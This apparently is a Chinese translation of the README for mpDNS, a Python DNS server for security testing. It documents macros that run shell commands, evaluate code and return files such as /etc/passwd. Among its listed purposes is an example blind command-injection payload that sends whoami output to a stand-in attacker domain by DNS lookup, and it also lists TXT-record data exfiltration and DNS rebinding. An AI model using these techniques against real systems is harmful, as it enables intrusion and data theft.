Python实现的多功能DNS服务器mpDNS

简单、可配置的“ clone和run ”DNS服务器，具有多种有用的功能。

适用于Python 2和3

names.db – >包含所有自定义记录（参见示例）

简单的通配符，如* .example.com

捕获unicode dns请求

自定义动作又称宏：

• {{shellexec::dig google.com +short}} – >执行shell命令并使用result响应

• {{eval::res = ‘1.1.1.%d’ % random.randint(0,256)}}- >评估你的python代码

• {{file::/etc/passwd}} – >回复本地文件内容

• {{resolve}} – >将DNS请求转发到本地系统DNS

• {{resolve::example.com}} – >解析example.com而不是原始记录

• {{echo}} – >回复对等地址

• {{shellexec::echo %PEER% %QUERY%}} – >使用变量

支持的查询类型：A，CNAME，TXT

更新names.db记录而不重启/重新加载./mpdns.py -e

重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

用法： ./mpdns.py

编辑names.db，./mpdns.py -e无需重启

进攻和防守目的：

1.您需要一个轻量级的简单DNS服务器解决方案用于测试目的（不生产！）

2.测试Web应用程序中的各种盲注漏洞（例如/ping.php?ip=$(dig $(whoami).attacker.com)）

3.在一个TXT查询中轻松渗透65K数据

4.DNS重新绑定

5.对特定查询执行自定义宏操作（在恶意软件分析实验室环境中很有用）

6.还有更多。它是高度可定制的。

安装
git clone https://github.com/nopernik/mpDNS

限制
1.由于UDP数据报限制为65535字节，DNS响应限制在约65200字节， 此限制适用于TXT分成256字节块的记录，直到响应达到最大允许值65200b， 因此TXT宏记录{{file:localfile.txt}}限制为65200字节。

2.不支持嵌套通配符 test.*.example.com

3.{{resolve::example.com}}宏中不支持自定义DNS服务器解析程序

4.TTL始终设为0

例子

names.db示例：

# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com    TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec            TXT     {{shellexec::whoami}}
eval                TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1            A       {{resolve}}
resolve2            A       {{resolve::self}}      #same as previous
resolve3            A       {{resolve::example.com}}
blabla.com            A       5.5.5.5
*                    A       127.0.0.1
*.example.com        A        7.7.7.7
c1.example.com        CNAME    c2.example.com
c2.example.com        CNAME    c3.example.com
c3.example.com        CNAME    google.example.com
google.example.com    CNAME    google.com
test.example.com    A        8.8.8.8
google.com            A        {{resolve::self}}
notgoogle.com        A        {{resolve::google.com}}

使用names.db示例输出示例：

DB的定期解决方案：dig test.example.com @localhost

;; ANSWER SECTION:
test.example.com.    0    IN    A    8.8.8.8

mpDNS输出： - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)

递归CNAME解析：dig c1.example.com @localhost

;; QUESTION SECTION:
;c1.example.com.            IN    A
;; ANSWER SECTION:
c1.example.com.        0    IN    CNAME    c2.example.com.
c2.example.com.        0    IN    CNAME    c3.example.com.
c3.example.com.        0    IN    CNAME    google.example.com.
google.example.com.    0    IN    CNAME    google.com.
google.com.        0    IN    A    216.58.206.14

mpDNS输出：

- Request from 127.0.0.1:44120      -> c1.example.com.        -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com        -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com        -> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com    -> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com            -> {{resolve::self}} (A)

通配符解析：dig not-in-db.com @localhost

;; ANSWER SECTION:
not-in-db.com.        0    IN    A    127.0.0.1

mpDNS输出：

- Request from 127.0.0.1:38528 -> not-in-db.com.    -> 127.0.0.1 (A)

通配符子域解析：dig wildcard.example.com @localhost

;; ANSWER SECTION:
wildcard.example.com.    0    IN    A    7.7.7.7

mpDNS输出：

- Request from 127.0.0.1:39691 -> wildcard.example.com.    -> 7.7.7.7 (A)

转发请求宏：dig google.com @localhost

;; ANSWER SECTION:
google.com.        0    IN    A    172.217.22.110

mpDNS输出：

- Request from 127.0.0.1:53487 -> google.com.    -> {{resolve::self}} (A)

自定义域宏的转发请求：dig notgoogle.com @localhost

;; ANSWER SECTION:
notgoogle.com.        0    IN    A    172.217.22.110
mpDNS输出：
- Request from 127.0.0.1:47797 -> notgoogle.com.    -> {{resolve::google.com}} (A)

通过TXT查询文件内容宏：dig txt passwd.example.com @localhost

;; ANSWER SECTION:
passwd.example.com.    0    IN    TXT    "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

mpDNS输出：

- Request from 127.0.0.1:38805 -> passwd.example.com.    -> ['root:x:0:0:root...(2808)'] (TXT)

通过TXT查询自定义python代码宏：dig txt eval @localhost

;; ANSWER SECTION:
eval.            0    IN    TXT    "320"
mpDNS输出：
- Request from 127.0.0.1:33821 -> eval.    -> ['320'] (TXT)

Shell命令宏通过TXT查询：

dig txt shellexec @localhost

;; ANSWER SECTION:
shellexec.        0    IN    TXT    "root"
mpDNS输出：
- Request from 127.0.0.1:50262 -> shellexec.    -> ['root'] (TXT)

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